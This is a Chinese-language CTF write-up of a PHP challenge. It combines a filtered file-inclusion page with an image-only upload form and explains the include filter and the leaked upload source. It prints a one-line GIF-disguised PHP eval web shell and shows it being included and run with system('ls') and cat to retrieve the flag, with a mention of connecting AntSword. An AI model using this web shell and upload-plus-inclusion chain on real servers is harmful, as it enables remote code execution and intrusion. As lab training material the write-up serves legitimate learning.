有提示include.php
访问后有代码
代码对 $file
参数进行了多重过滤:
- 正则表达式过滤:
preg_match('/http|test1|ftp|input|%00/i', $file)
- 禁止包含以下字符串(不区分大小写):
- http
- test1
- ftp
- input
- %00(空字节)
- 禁止包含以下字符串(不区分大小写):
- 路径遍历检查:
strstr($file,"..") !== FALSE
- 禁止包含 ".." 这样的路径遍历字符
- 长度限制:
strlen($file)>=70
- 文件路径长度不能超过 70 个字符
他这里只写了个可以包含问件,但没有自动给你包含flag或是其他文件(文件路径自己写)
还有一个提示为upload.php 访问后是一个文件上传的页面
上传个木马试试,但发现只能上传图片(白名单),那就不改后缀名直接上传图片马。
我这里上传的木马是GIF89a <?php @eval($_POST[w]); ?>
但我们不知道上传后的文件去哪儿了。
用文件包含页面结合php伪协议读一下该页面源码试试
解码得到
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILE["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload_123/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: ??? ";
}
else
{
echo "upload failed!";
}
}
?>
php文件上传靶场里都有该函数,将临时文件移动到最终目录里面,由此可知上传后的文件在upload_123中,也没有对你上传后的文件名做处理
那我们访问验证一下
能访问到,说明对了 现在就可以去文件包含一下我们上传的图片木马文件了
(之前需要用伪协议是因为我们要看的是一个php文件,但直接写file=upload.php的话他会再次把php文件当php的形式再解析一次 导致看不到,而使用伪协议的话故意用编码破坏他的php格式从而使得我们能查看)
直接输入文件路径发现包含成功且被执行
(因为直接包含后的文件他自动当作php文件来解析,所以不用伪协议)
如果直接ls根目录/的话再用命令去找flag的话会很麻烦
就像这样
但我们知道,访问网站一般是访问/var/www/html下的文件
所以可以不用绝对路径,直接写一个system('ls');查看相对路径下的文件
最后用cat命令就找到flag了
**************************************************************************************************************如果要连接蚁剑的话需要以下操作 (POST传参)
在请求信息里面添加HTTP BODY